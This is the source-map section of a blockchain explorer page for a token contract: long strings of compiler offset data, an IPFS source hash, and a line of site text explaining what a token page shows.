;15644:12;;15556:42;;-1:-1:-1;15609:16:0;;-1:-1:-1;;;;;15644:12:0;:26;15640:68;;15704:4;15690:10;;15684:3;:16;;;;:::i;:::-;15683:25;;;;:::i;:::-;15672:36;;15640:68;15719:12;15775:4;15762:10;;15750:9;;:22;;;;:::i;:::-;:29;15746:66;;;15804:8;15788:13;15794:7;15788:3;:13;:::i;:::-;:24;;;;:::i;:::-;15781:31;;15746:66;15825:13;15835:3;15825:13;;:::i;:::-;-1:-1:-1;;;;;15849:15:0;;;;;;:9;:15;;;;;:22;;15825:13;;-1:-1:-1;15868:3:0;;15849:15;;;:22;;15868:3;;15849:22;:::i;:::-;;;;-1:-1:-1;;15888:11:0;;15884:137;;15934:4;15916:24;;;;:9;:24;;;;;:35;;15944:7;;15916:24;:35;;15944:7;;15916:35;:::i;:::-;;;;-1:-1:-1;;15971:38:0;;1942:25:1;;;15994:4:0;;-1:-1:-1;;;;;15971:38:0;;;-1:-1:-1;;;;;;;;;;;15971:38:0;1930:2:1;1915:18;15971:38:0;;;;;;;15884:137;16035:12;;16031:138;;16074:12;;-1:-1:-1;;;;;16074:12:0;16064:23;;;;:9;:23;;;;;:35;;16091:8;;16064:23;:35;;16091:8;;16064:35;:::i;:::-;;;;-1:-1:-1;;16134:12:0;;16119:38;;1942:25:1;;;-1:-1:-1;;;;;16134:12:0;;;;16119:38;;;-1:-1:-1;;;;;;;;;;;16119:38:0;1930:2:1;1915:18;16119:38:0;;;;;;;16031:138;16183:8;;16179:120;;9994:42;16208:20;;;;:9;:20;;;:28;;16232:4;;16208:20;:28;;16232:4;;16208:28;:::i;:::-;;;;-1:-1:-1;;16256:31:0;;1942:25:1;;;9994:42:0;;-1:-1:-1;;;;;16256:31:0;;;-1:-1:-1;;;;;;;;;;;16256:31:0;1930:2:1;1915:18;16256:31:0;;;;;;;16179:120;-1:-1:-1;16318:6:0;;15421:911;-1:-1:-1;;;;;15421:911:0:o;3084:631::-;3016:7;:14;;-1:-1:-1;;3016:14:0;3026:4;3016:14;;;3310:16:::1;::::0;;3324:1:::1;3310:16:::0;;;;;::::1;::::0;;-1:-1:-1;;3310:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;3310:16:0::1;3286:40;;3355:4;3337;3342:1;3337:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;3337:23:0::1;;;-1:-1:-1::0;;;;;3337:23:0::1;;;::::0;::::1;3381:16;-1:-1:-1::0;;;;;3381:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3371:4;3376:1;3371:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3371:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;:33;3495:212:::1;::::0;-1:-1:-1;;;3495:212:0;;:38;;::::1;::::0;::::1;::::0;:212:::1;::::0;3548:11;;3574:1:::1;::::0;3618:4;;3645::::1;::::0;3681:15:::1;::::0;3495:212:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;3053:7:0;:15;;-1:-1:-1;;3053:15:0;;;-1:-1:-1;;;;;3084:631:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:134;820:20;;849:31;820:20;849:31;:::i;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1403:180::-;1462:6;1515:2;1503:9;1494:7;1490:23;1486:32;1483:52;;;1531:1;1528;1521:12;1483:52;-1:-1:-1;1554:23:1;;1403:180;-1:-1:-1;1403:180:1:o;1978:456::-;2055:6;2063;2071;2124:2;2112:9;2103:7;2099:23;2095:32;2092:52;;;2140:1;2137;2130:12;2092:52;2179:9;2166:23;2198:31;2223:5;2198:31;:::i;:::-;2248:5;-1:-1:-1;2305:2:1;2290:18;;2277:32;2318:33;2277:32;2318:33;:::i;:::-;1978:456;;2370:7;;-1:-1:-1;;;2424:2:1;2409:18;;;;2396:32;;1978:456::o;2628:247::-;2687:6;2740:2;2728:9;2719:7;2715:23;2711:32;2708:52;;;2756:1;2753;2746:12;2708:52;2795:9;2782:23;2814:31;2839:5;2814:31;:::i;2880:160::-;2945:20;;3001:13;;2994:21;2984:32;;2974:60;;3030:1;3027;3020:12;3045:180;3101:6;3154:2;3142:9;3133:7;3129:23;3125:32;3122:52;;;3170:1;3167;3160:12;3122:52;3193:26;3209:9;3193:26;:::i;3230:248::-;3298:6;3306;3359:2;3347:9;3338:7;3334:23;3330:32;3327:52;;;3375:1;3372;3365:12;3327:52;-1:-1:-1;;3398:23:1;;;3468:2;3453:18;;;3440:32;;-1:-1:-1;3230:248:1:o;3483:127::-;3544:10;3539:3;3535:20;3532:1;3525:31;3575:4;3572:1;3565:15;3599:4;3596:1;3589:15;3615:1191;3705:6;3713;3766:2;3754:9;3745:7;3741:23;3737:32;3734:52;;;3782:1;3779;3772:12;3734:52;3822:9;3809:23;3851:18;3892:2;3884:6;3881:14;3878:34;;;3908:1;3905;3898:12;3878:34;3946:6;3935:9;3931:22;3921:32;;3991:7;3984:4;3980:2;3976:13;3972:27;3962:55;;4013:1;4010;4003:12;3962:55;4049:2;4036:16;4071:4;4094:2;4090;4087:10;4084:36;;;4100:18;;:::i;:::-;4146:2;4143:1;4139:10;4178:2;4172:9;4241:2;4237:7;4232:2;4228;4224:11;4220:25;4212:6;4208:38;4296:6;4284:10;4281:22;4276:2;4264:10;4261:18;4258:46;4255:72;;;4307:18;;:::i;:::-;4343:2;4336:22;4393:18;;;4427:15;;;;-1:-1:-1;4469:11:1;;;4465:20;;;4497:19;;;4494:39;;;4529:1;4526;4519:12;4494:39;4553:11;;;;4573:148;4589:6;4584:3;4581:15;4573:148;;;4655:23;4674:3;4655:23;:::i;:::-;4643:36;;4606:12;;;;4699;;;;4573:148;;;4740:6;-1:-1:-1;4765:35:1;;-1:-1:-1;4781:18:1;;;4765:35;:::i;:::-;4755:45;;;;;;3615:1191;;;;;:::o;4811:388::-;4879:6;4887;4940:2;4928:9;4919:7;4915:23;4911:32;4908:52;;;4956:1;4953;4946:12;4908:52;4995:9;4982:23;5014:31;5039:5;5014:31;:::i;:::-;5064:5;-1:-1:-1;5121:2:1;5106:18;;5093:32;5134:33;5093:32;5134:33;:::i;:::-;5186:7;5176:17;;;4811:388;;;;;:::o;5204:380::-;5283:1;5279:12;;;;5326;;;5347:61;;5401:4;5393:6;5389:17;5379:27;;5347:61;5454:2;5446:6;5443:14;5423:18;5420:38;5417:161;;5500:10;5495:3;5491:20;5488:1;5481:31;5535:4;5532:1;5525:15;5563:4;5560:1;5553:15;5417:161;;5204:380;;;:::o;5589:127::-;5650:10;5645:3;5641:20;5638:1;5631:31;5681:4;5678:1;5671:15;5705:4;5702:1;5695:15;5721:168;5761:7;5827:1;5823;5819:6;5815:14;5812:1;5809:21;5804:1;5797:9;5790:17;5786:45;5783:71;;;5834:18;;:::i;:::-;-1:-1:-1;5874:9:1;;5721:168::o;5894:217::-;5934:1;5960;5950:132;;6004:10;5999:3;5995:20;5992:1;5985:31;6039:4;6036:1;6029:15;6067:4;6064:1;6057:15;5950:132;-1:-1:-1;6096:9:1;;5894:217::o;6116:128::-;6156:3;6187:1;6183:6;6180:1;6177:13;6174:39;;;6193:18;;:::i;:::-;-1:-1:-1;6229:9:1;;6116:128::o;6249:127::-;6310:10;6305:3;6301:20;6298:1;6291:31;6341:4;6338:1;6331:15;6365:4;6362:1;6355:15;6381:135;6420:3;6441:17;;;6438:43;;6461:18;;:::i;:::-;-1:-1:-1;6508:1:1;6497:13;;6381:135::o;6521:251::-;6591:6;6644:2;6632:9;6623:7;6619:23;6615:32;6612:52;;;6660:1;6657;6650:12;6612:52;6692:9;6686:16;6711:31;6736:5;6711:31;:::i;7698:306::-;7786:6;7794;7802;7855:2;7843:9;7834:7;7830:23;7826:32;7823:52;;;7871:1;7868;7861:12;7823:52;7900:9;7894:16;7884:26;;7950:2;7939:9;7935:18;7929:25;7919:35;;7994:2;7983:9;7979:18;7973:25;7963:35;;7698:306;;;;;:::o;8009:125::-;8049:4;8077:1;8074;8071:8;8068:34;;;8082:18;;:::i;:::-;-1:-1:-1;8119:9:1;;8009:125::o;9538:980::-;9800:4;9848:3;9837:9;9833:19;9879:6;9868:9;9861:25;9905:2;9943:6;9938:2;9927:9;9923:18;9916:34;9986:3;9981:2;9970:9;9966:18;9959:31;10010:6;10045;10039:13;10076:6;10068;10061:22;10114:3;10103:9;10099:19;10092:26;;10153:2;10145:6;10141:15;10127:29;;10174:1;10184:195;10198:6;10195:1;10192:13;10184:195;;;10263:13;;-1:-1:-1;;;;;10259:39:1;10247:52;;10354:15;;;;10319:12;;;;10295:1;10213:9;10184:195;;;-1:-1:-1;;;;;;;10435:32:1;;;;10430:2;10415:18;;10408:60;-1:-1:-1;;;10499:3:1;10484:19;10477:35;10396:3;9538:980;-1:-1:-1;;;9538:980:1:o

Swarm Source

ipfs://d786e533934037db6dae303452e4e022b602348039ad541a620de8b2ac83b723
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.